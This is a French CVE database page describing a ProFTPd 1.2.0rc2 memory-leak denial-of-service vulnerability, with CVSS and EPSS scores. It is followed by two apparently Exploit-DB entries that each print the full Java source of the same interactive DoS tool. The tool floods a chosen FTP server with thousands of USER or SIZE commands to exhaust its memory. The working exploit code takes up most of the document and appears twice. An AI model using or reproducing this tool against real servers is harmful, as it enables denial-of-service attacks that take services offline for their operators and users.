CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Memory leak in ProFTPd 1.2.0rc2 allows remote attackers to cause a denial of service via a series of USER commands, and possibly SIZE commands if the server has been improperly installed.
Missing Release of Memory after Effective Lifetime The product does not sufficiently track and release allocated memory after it has been used, making the memory unavailable for reallocation and reuse.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
5
AV:N/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
7.2%
–
–
2022-02-13
–
–
7.2%
–
–
2022-04-03
–
–
7.2%
–
–
2023-03-12
–
–
–
4.24%
–
2024-02-11
–
–
–
4.24%
–
2024-06-02
–
–
–
4.24%
–
2024-11-10
–
–
–
4.24%
–
2024-12-22
–
–
–
12.07%
–
2025-01-19
–
–
–
12.07%
–
2025-03-18
–
–
–
–
0.69%
2025-03-30
–
–
–
–
1.26%
2025-03-30
–
–
–
–
1.26,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2000-12-19 23h00 +00:00 Auteur : JeT-Li EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/2185/info
A memory leak has been reported in all versions of ProFTPd.
The SIZE FTP command causes the server to misallocate and leak small amounts of memory each time the command is executed.
If a sufficient number of these commands are executed by the server, substantial amounts of system memory can be consumed, allowing a remote attacker to carry out a denial of service attack on the affected host.
This could be problematic if anonymous FTP is enabled or if a malicious local user has been supplied with an FTP login ID.
/* ProFTPd DoS version 1.1
Remote DoS in proFTPd
Code by: JeT-Li -The Wushu Master- jet_li_man@yahoo.com
Recently I posted a remote DoS for ProFTPd based in the multiple use
of the SIZE command in order to crash the system. Now and thanks to
the information provided by Wojciech Purczynski I have coded a
program that not only use the SIZE command but also the USER command.
So at this time access to the ftp is not necessary to manage a DoS
attack. The concept is equal to the last exploit one, but using
multiple USER instead of SIZE.
You don't have to give arguments when you execute the program, it
will request you these.
Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most
hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all
the ppl of #hackers (not able for cardiac XD).
Vulnerable systems:
ProFTPd 1.2.0rc1 (Tested)
ProFTPd 1.2.0rc2 (Tested)
And maybe others(1.2.0preX); I have no test this, but I'm sure you
can do it for me ;-)
NOTE: 1.2.0pre10 is seems to be vulnerable according to the words of
Wojciech Purczynski ... */
import java.net.*;
import java.io.*;
class TCPconnection {
public TCPconnection (String hostname, int portnumber) throws Exception {
Socket s = doaSocket(hostname, portnumber);
br = new BufferedReader (new InputStreamReader (s.getInputStream()));
ps = new PrintStream (s.getOutputStream());
}
public String readLine() throws Exception {
String s;
try { s = br.readLine(); }
catch (IOException ioe) {
System.out.println("TCP Error ... it's a little hax0r exception ;-)");
throw new Exception ("\nInput Error: I/O Error");
}
return s;
}
public void println(String s) {
ps.println(s);
}
private Socket doaSocket(String hostname, int portnumber) throws Exception {
Socket s = null;
int attempts = 0;
while (s == null && attempts<maxattempts) {
try { s = new Socket(hostname, portnumber); }
catch (UnknownHostException uhe) {
System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " +
hostname + ". Here is
the Exception:");
throw new Exception("\nConnection Error: " + "unknown hostname");
}
catch (IOException ioe) {
System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");
}
attempts++;
}
if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it
again ...");
else return s; }
private final int maxattempts = 5;
private BufferedReader br;
private PrintStream ps;
}
class proftpDoS {
public static void main(String[] arg) throws Exception {
InputStreamReader isr;
BufferedReader tcld;
String hostnamez, username, password, file, s1, option, option1;
int i, j, k, m;
isr = new InputStreamReader(System.in);
tcld = new BufferedReader(isr);
System.out.println("ProFTPd DoS version 1.1 by JeT-Li -The Wushu Master-");
System.out.println("Code in an attempt to solve Fermat Last's Theoreme");
System.out.println("Please choose the type of attack you wanna use; insert only the NUMBER, i.e.: 1");
System.out.println("1) Memory leakage using USER command");
System.out.println("2) Memory leakage using SIZE command");
System.out.print("Option: ");
option = tcld.readLine();
m = Integer.parseInt(option);
while (!(m==1 || m==2)) {
System.out.print("Option not valid, please try again: ");
option = tcld.readLine();
m = Integer.parseInt(option); }
if (m==1) {
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 15000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
if (k==1) {
for(i=0;i<15000;i++)
tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + i); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + j); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
else if (m==2) {
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
username = "";
while (username.length()==0) {
System.out.print("Enter the username: ");
username = tcld.readLine(); }
password = "";
while (password.length()==0) {
System.out.print("Enter the password for that username: ");
password = tcld.readLine(); }
file = "";
while (file.length()==0) {
System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): ");
file = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 15000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
tc.println("user " + username);
tc.println("pass " + password);
if (k==1) {
for(i=0;i<10000;i++)
tc.println("size " + file); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("size " + file); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
}
}
Date de publication : 2001-01-11 23h00 +00:00 Auteur : JeT-Li EDB Vérifié : Yes
/* ProFTPd DoS version 1.1
Remote DoS in proFTPd
Code by: JeT-Li -The Wushu Master- jet_li_man@yahoo.com
Recently I posted a remote DoS for ProFTPd based in the multiple use
of the SIZE command in order to crash the system. Now and thanks to
the information provided by Wojciech Purczynski I have coded a
program that not only use the SIZE command but also the USER command.
So at this time access to the ftp is not necessary to manage a DoS
attack. The concept is equal to the last exploit one, but using
multiple USER instead of SIZE.
You don't have to give arguments when you execute the program, it
will request you these.
Greets: _kiss_ (the real fucker ;-P); gordoc (no comment, the most
hax man in the w0rld); Perip|o (tibetan mantras for u! ;-P); and all
the ppl of #hackers (not able for cardiac XD).
Vulnerable systems:
ProFTPd 1.2.0rc1 (Tested)
ProFTPd 1.2.0rc2 (Tested)
And maybe others(1.2.0preX); I have no test this, but I'm sure you
can do it for me ;-)
NOTE: 1.2.0pre10 is seems to be vulnerable according to the words of
Wojciech Purczynski ... */
import java.net.*;
import java.io.*;
class TCPconnection {
public TCPconnection (String hostname, int portnumber) throws Exception {
Socket s = doaSocket(hostname, portnumber);
br = new BufferedReader (new InputStreamReader (s.getInputStream()));
ps = new PrintStream (s.getOutputStream());
}
public String readLine() throws Exception {
String s;
try { s = br.readLine(); }
catch (IOException ioe) {
System.out.println("TCP Error ... it's a little hax0r exception ;-)");
throw new Exception ("\nInput Error: I/O Error");
}
return s;
}
public void println(String s) {
ps.println(s);
}
private Socket doaSocket(String hostname, int portnumber) throws Exception {
Socket s = null;
int attempts = 0;
while (s == null && attempts<maxattempts) {
try { s = new Socket(hostname, portnumber); }
catch (UnknownHostException uhe) {
System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:");
throw new Exception("\nConnection Error: " + "unknown hostname");
}
catch (IOException ioe) {
System.err.println("The connection was not accomplished due to an I/O Error: trying it again ...");
}
attempts++;
}
if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it again ...");
else return s; }
private final int maxattempts = 5;
private BufferedReader br;
private PrintStream ps;
}
class proftpDoS {
public static void main(String[] arg) throws Exception {
InputStreamReader isr;
BufferedReader tcld;
String hostnamez, username, password, file, s1, option, option1;
int i, j, k, m;
isr = new InputStreamReader(System.in);
tcld = new BufferedReader(isr);
System.out.println("ProFTPd DoS version 1.1 by JeT-Li -The Wushu Master-");
System.out.println("Code in an attempt to solve Fermat Last's Theoreme");
System.out.println("Please choose the type of attack you wanna use; insert only the NUMBER, i.e.: 1");
System.out.println("1) Memory leakage using USER command");
System.out.println("2) Memory leakage using SIZE command");
System.out.print("Option: ");
option = tcld.readLine();
m = Integer.parseInt(option);
while (!(m==1 || m==2)) {
System.out.print("Option not valid, please try again: ");
option = tcld.readLine();
m = Integer.parseInt(option); }
if (m==1) {
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 15000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
if (k==1) {
for(i=0;i<15000;i++)
tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + i); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("user themosthax0ruserthatthisw0rldhaseverseen" + j); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
else if (m==2) {
hostnamez = "";
while (hostnamez.length()==0) {
System.out.print("Please enter the hostname/IP: ");
hostnamez = tcld.readLine(); }
username = "";
while (username.length()==0) {
System.out.print("Enter the username: ");
username = tcld.readLine(); }
password = "";
while (password.length()==0) {
System.out.print("Enter the password for that username: ");
password = tcld.readLine(); }
file = "";
while (file.length()==0) {
System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): ");
file = tcld.readLine(); }
System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1");
System.out.println("1) Request 15000 size's to the server (it may be enough)");
System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)");
System.out.print("Option: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1);
while (!(k==1 || k==2)) {
System.out.print("Option not valid, please try again: ");
option1 = tcld.readLine();
k = Integer.parseInt(option1); }
TCPconnection tc = new TCPconnection(hostnamez, 21);
tc.println("user " + username);
tc.println("pass " + password);
if (k==1) {
for(i=0;i<10000;i++)
tc.println("size " + file); }
else if (k==2) {
for(i=1;i<100;i++)
for(j=2;j<((int)Math.pow(j,i ));j++)
tc.println("size " + file); }
tc.println("quit");
s1 = tc.readLine();
while (s1!=null) {
s1 = tc.readLine();
System.out.println("Attack completed ... as one of my friends says:");
System.out.println("Hack just r0cks ;-)");
}
}
}
}